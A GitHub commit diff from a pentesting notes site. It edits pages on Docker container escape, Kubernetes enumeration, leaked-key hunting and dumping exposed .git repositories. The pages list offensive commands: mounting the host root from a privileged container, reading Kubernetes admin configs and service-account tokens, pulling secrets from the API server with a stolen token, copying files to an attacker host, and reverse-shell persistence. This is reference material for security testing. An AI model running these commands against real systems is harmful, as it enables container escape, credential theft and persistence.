Skip to content

Commit 528edcd

Browse files
committed
edit Active Directory pages
1 parent 6c20c43 commit 528edcd

File tree

14 files changed

+152
-145
lines changed

14 files changed

+152
-145
lines changed

src/exploit/container/docker/docker-escape.md

Lines changed: 17 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ tags:
77
refs:
88
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
99
- https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
10-
date: 2024-12-24
10+
date: 2025-03-17
1111
draft: false
1212
---
1313

@@ -80,6 +80,15 @@ find / -name "docker" 2>/dev/null
8080

8181
# Container capabilities
8282
capsh --print
83+
84+
# Enumerate pods
85+
crictl pods
86+
87+
# Investigate Docker socket for containerd
88+
# crictl can be downloaded from https://github.com/kubernetes-sigs/cri-tools
89+
crictl -r unix:///run/containerd/containerd.sock ps
90+
crictl -r unix:///run/containerd/containerd.sock images
91+
crictl -r unix:///run/containerd/containerd.sock container ls
8392
```
8493

8594
### Access Another Host
@@ -98,8 +107,6 @@ wget http://<local-ip>:8000/socat
98107
curl <local-ip>:8000/scp -o socat
99108
```
100109

101-
<br />
102-
103110
## SSH Login
104111

105112
We might be able to login SSH on the target host if we know the credentials.
@@ -108,8 +115,6 @@ We might be able to login SSH on the target host if we know the credentials.
108115
ssh user@127.0.0.1
109116
```
110117

111-
<br />
112-
113118
## Mounting
114119

115120
Check disks or mounted folders and we might be able to see the directories of the host system.
@@ -134,14 +139,18 @@ mount /dev/xvda1 /mnt/tmp
134139

135140
Now we can observe inside the `/mnt/tmp` directory.
136141

137-
<br />
142+
## Gain Access to Mounted System
143+
144+
After mounting or found mounted folder, we can change root to the mounted folder:
145+
146+
```bash
147+
chroot /mounted_folder bash
148+
```
138149

139150
## Privilege Escalation to Root
140151

141152
Please see [Linux Privilege Escalation](/exploit/linux/privilege-escalation/).
142153

143-
<br />
144-
145154
## Run Vulnerable Docker Image
146155

147156
According to [Hacktricks](https://book.hacktricks.xyz/network-services-pentesting/2375-pentesting-docker#compromising), we can escape a docker container with the vulnerable image.
@@ -152,8 +161,6 @@ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
152161
cd /mnt/
153162
```
154163

155-
<br />
156-
157164
## Download Interesting Files
158165

159166
```bash
@@ -174,8 +181,6 @@ sudo systemctl start ssh
174181
scp ./example.txt <username>@<local-ip>:/home/<username>/example.txt
175182
```
176183

177-
<br />
178-
179184
## Run Existing Docker Image
180185

181186
### 1. Check if current user belongs to "docker" group
@@ -214,14 +219,10 @@ docker run -it --entrypoint=/bin/bash -v /:/mnt/ example:master
214219

215220
After that, you can investigate sensitive information in the **`/mnt/`** folders.
216221

217-
<br />
218-
219222
## Docker Socket Escape
220223

221224
Reference: [https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25](https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25)
222225

223-
<br />
224-
225226
## Establish Persistence After PrivEsc
226227

227228
After that you invaded the docker container, you might be able to make it persistence while evading the IDS alerts by creating a docker compose file and abusing the entrypoint option to grant you a reverse shell.
@@ -257,8 +258,6 @@ Now run the docker compose in remote machine. You should gain a shell.
257258
docker-compose run
258259
```
259260

260-
<br />
261-
262261
## Amazon Elastic Container Registry (ECR) Public Gallery
263262

264263
### 1. Run the Docker Container
@@ -312,6 +311,3 @@ printenv
312311
# Get sensitive information
313312
grep -e 'token' -e 'secret' */*
314313
```
315-
316-
<br />
317-

src/exploit/container/docker/index.md

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Container
66
- Privilege Escalation
77
refs:
8-
date: 2023-10-11
8+
date: 2025-03-17
99
draft: false
1010
---
1111

@@ -22,6 +22,9 @@ find / -name "docker" 2>/dev/null
2222
### Basic Commands
2323

2424
```sh
25+
# Get comprehensive information
26+
docker info
27+
2528
# List images
2629
docker images
2730
docker image ls

src/exploit/container/kubernetes/index.md

Lines changed: 36 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,10 @@
22
title: Kubernetes Pentesting
33
description: A portable, extensible, open source platform for managing containerized workloads and services, that facilitates both declarative configuration and automation. Default ports are 6443, 8443.
44
tags:
5-
- Container
5+
- Container
66
refs:
7-
date: 2024-12-24
7+
- https://madhuakula.com/kubernetes-goat/docs/kubernetes-goat-cheat-sheet/
8+
date: 2025-03-17
89
draft: false
910
---
1011

@@ -32,11 +33,15 @@ wget http://<local-ip>:8000/kubectl -O /tmp/kubectl
3233
chmod +x /tmp/kubectl
3334
```
3435

35-
<br />
36-
3736
## Investigation From Inside
3837

38+
If we’re in the target system, investigate cluster, nodes, pods with the following commands:
39+
3940
```sh
41+
# Check configurations
42+
cat /etc/kubernetes/admin.conf
43+
cat /etc/kubernetes/kubelet.conf
44+
4045
# JWT token
4146
cat /var/run/secrets/kubernetes.io/serviceaccount/token
4247
# if we find the token, decode it in https://jwt.io/
@@ -52,15 +57,34 @@ kubectl auth can-i --list
5257
# /var/run/secrets/kubernetes.io/serviceaccount/token
5358
kubectl auth can-i --list --token=<JWT>
5459

60+
# Get namespaces
61+
kubectl get namespaces
62+
5563
# Roles
5664
kubectl get rolebindings -n <namespace>
5765
kubectl describe <bind_name> -n <namespace>
5866
kubectl describe role <role_name> -n <namespace>
5967

60-
# Pods
68+
## Cluster
69+
# Start/stop cluster
70+
minikube start
71+
minikube stop
72+
# Get status for cluster
73+
minikube status
74+
# Get cluster information
75+
kubectl cluster-info
76+
77+
## Nodes
78+
kubectl get nodes
79+
80+
## Pods
6181
kubectl get pods
6282
# -A: List all pods across all namespaces
6383
kubectl get pods -A
84+
# Get pods from specific namespace
85+
kubectl get pods -n <namespace>
86+
# Get detailed information for pods
87+
kubectl get pods -o wide
6488
# Get the detail information abou the pod
6589
# -o: Output format
6690
kubectl get pod <pod-name> -o yaml
@@ -74,6 +98,13 @@ kubectl describe clusterrole <role-name>
7498
# ClusterRoleBinding information
7599
kubectl describe clustrrolebinding <role-name>
76100

101+
# Get inside a target pod
102+
kubectl exec -it <pod> -- sh
103+
104+
# Get logs of the pod/container
105+
kubectl logs <pod>
106+
kubectl logs-f <pod>
107+
77108
# Services
78109
kubectl get svc
79110

@@ -105,8 +136,6 @@ kubectl create serviceaccount api-explorer
105136
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer
106137
```
107138

108-
<br />
109-
110139
## Investigation via Kubernetes API Server
111140

112141
If we get the JWT, we can fetch information by the following commans.
@@ -117,8 +146,6 @@ curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-po
117146
curl -k -v -H "Authorization: Bearer <jwt-token>" https://<target-ip>:<target-port>/api/v1/namespaces/default/secrets/
118147
```
119148

120-
<br />
121-
122149
## Privilege Escalation (Escape) using the Container Image
123150

124151
### 1. Get Information About the Target Pod
@@ -167,8 +194,6 @@ kubectl run testbox --restart Never -it --rm --image newimage --overrides '{"spe
167194

168195
Now we should escape the container and get a target shell.
169196

170-
<br />
171-
172197
## Privilege Escalation using Bad Pods
173198

174199
Reference: [everything-allowed-exec-pod.yaml](https://github.com/BishopFox/badPods/blob/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml)

src/exploit/reconnaissance/find-leaked-api-keys.md

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: Finding API keys which are leaked is crucial work for penetration t
44
tags:
55
- Reconnaissance
66
refs:
7-
date: 2023-08-24
7+
date: 2025-03-17
88
draft: false
99
---
1010

@@ -14,7 +14,13 @@ draft: false
1414

1515
This repository lists quick ways to find API keys of various providers.
1616

17-
<br />
17+
## Using Trufflehog
18+
19+
[Trufflehog](https://github.com/trufflesecurity/trufflehog) is a CLI tool to find, verify, and analyze leaked credentials.
20+
21+
```bash
22+
trufflehog git https://github.com/<username>/<repo> --results=verified,unknown
23+
```
1824

1925
## Google Dorks
2026

src/exploit/version-control/git/git-github-pentesting.md

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Git
66
- Reconnaissance
77
refs:
8-
date: 2023-02-25
8+
date: 2023-03-17
99
draft: false
1010
---
1111

@@ -41,7 +41,7 @@ git status
4141
### Back to the Previous Commits
4242

4343
```sh
44-
# You can get the "commit-id" by 'git log'
44+
# We can get the "commit-id" by 'git log'
4545
git checkout <commit-id>
4646
git --git-dir /path/to/.git checkout <commit-id>
4747

@@ -99,8 +99,6 @@ Then restore them.
9999
git restore <a-deleted-file>
100100
```
101101

102-
<br />
103-
104102
## GitHub Dorks
105103

106104
### Search Target Repository
@@ -133,5 +131,3 @@ For more details, see the [github-dorks](https://github.com/techgaun/github-dork
133131
```
134132

135133
4. Check the “From” section in the page. You should find the email address of the commiter.
136-
137-
<br />

src/exploit/web/dump-git-repository-from-website.md

Lines changed: 9 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,13 @@ description: If we can have permission to access git repositoy in target website
44
tags:
55
- Web
66
refs:
7-
date: 2025-02-27
7+
date: 2025-03-17
88
draft: false
99
---
1010

11-
## Dumping with Git-Dumper
11+
## Dumping
12+
13+
### Method 1. Git-Dumper
1214

1315
[git-dumper](https://github.com/arthaud/git-dumper) is an useful Python package.
1416

@@ -17,24 +19,7 @@ pipx install git-dumper
1719
git-dumper https://example.com/.git ./dumped
1820
```
1921

20-
<br />
21-
22-
## Dumping with Wget
23-
24-
We can simply use **`wget`** command in Linux to download the git repository.
25-
After that, we can investigate files or all histories.
26-
27-
```bash
28-
# -r: Recursive
29-
wget -r https://example.com/.git/
30-
cd example.com
31-
git log --stat
32-
git checkout <commit_id>
33-
```
34-
35-
<br />
36-
37-
## Dumping with gitdumper and extracter
22+
### Method 2. GitTools
3823

3924
[GitTools](https://github.com/internetwache/GitTools) downloads Git repository of the web application.
4025
To dump the repository, execute the following commands.
@@ -56,3 +41,7 @@ chmod +x extractor.sh
5641

5742
Now we retrieve the entire git project from website.
5843
It is stored in **“./new_example”** folder. We can investigate the repository.
44+
45+
## After Dumping…
46+
47+
If we succeed in dumping, we can investigate the repository with `git` command and get sensitive information. See [Git GitHub Pentesting](https://exploit-notes.hdks.org/exploit/version-control/git/git-github-pentesting/).

0 commit comments

Comments
 (0)